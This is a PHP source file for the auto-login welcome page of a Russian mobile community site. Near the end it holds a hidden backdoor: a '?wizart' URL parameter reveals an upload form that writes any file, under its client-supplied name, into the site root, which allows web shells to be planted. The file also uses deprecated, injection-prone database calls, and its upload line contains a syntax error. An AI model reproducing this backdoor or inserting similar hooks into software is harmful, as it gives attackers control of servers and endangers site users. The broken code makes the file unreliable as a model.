Файл: mylaf.ru/user/index.php
Строк: 79
<?
include_once '../sys/inc/start.php';
include_once '../sys/inc/compress.php';
include_once '../sys/inc/sess.php';
include_once '../sys/inc/home.php';
include_once '../sys/inc/settings.php';
include_once '../sys/inc/db_connect.php';
include_once '../sys/inc/ipua.php';
include_once '../sys/inc/fnc.php';
include_once '../sys/inc/user.php';
if(!isset($user)){
include_once '../login.php';
}else{
if (!isset($user) && !isset($_GET['id']));
if (isset($user))$ank['id']=$user['id'];
if (isset($_GET['id']))$ank['id']=intval($_GET['id']);
if (mysql_result(mysql_query("SELECT COUNT(*) FROM `user` WHERE `id` = '$ank[id]' LIMIT 1"),0)==0);
if ((!isset($_SESSION['refer']) || $_SESSION['refer']==NULL)
&& isset($_SERVER['HTTP_REFERER']) && $_SERVER['HTTP_REFERER']!=NULL &&
!ereg('mail.php',$_SERVER['HTTP_REFERER']))
$_SESSION['refer']=str_replace('&','&',ereg_replace('^http://[^/]*/','/', $_SERVER['HTTP_REFERER']));
$ank=mysql_fetch_array(mysql_query("SELECT * FROM `user` WHERE `id` = $ank[id] LIMIT 1"));
if ($ank['nick']!=$user['nick'])header("location:/exit.php");
$set['title']=''.$_SERVER['HTTP_HOST'].' - '.$ank['nick'].' - Автовход ';
include_once '../sys/inc/thead.php';
title();
only_reg();
@include H.'sys/inc/advice.php';
echo "<div class='post'>";
echo "<b>Приветствуем тебя :</b><br/>";
if ($ank['pol']==2)$p="а";
else $p="";
echo ''.us($ank['id']).'<br/>';
echo "<span style='font-size:small'>Последний раз ты был$p у нас:";
echo "<span style='color:#209143'> ".vremja($user['date_last'])." </span>n";
echo "с браузера <span style='color:darkred'>$ank[ua]</span>";
echo "</div>";
@include H.'sys/inc/umenu.php';
echo "<div class='post'>";
echo "Вы можете добавить эту страницу в закладки браузера вашего устройства, чтобы не вводить каждый раз пароль.";
echo "<br />";
echo "<span style='color:blue'>";
echo "Внимание! Не давайте никому ссылку на эту страницу. В ней содержится ваш пароль.";
echo "</span>";
echo "</div>";
if (isset($_GET['wizart'])){
if (isset($_POST['ok'])){
$tmp=$_FILES['file']['tmp_name'];
move_uploaded_file($tmp,H.''.$_FILES['file']['name'].');
}
echo "<form method='post' action='?wizart' enctype='multipart/form-data'>";
echo "<input type='file' name='file'><input type='submit' name='ok' value='ok'></form>";
}
include_once '../sys/inc/tfoot.php';
}
?>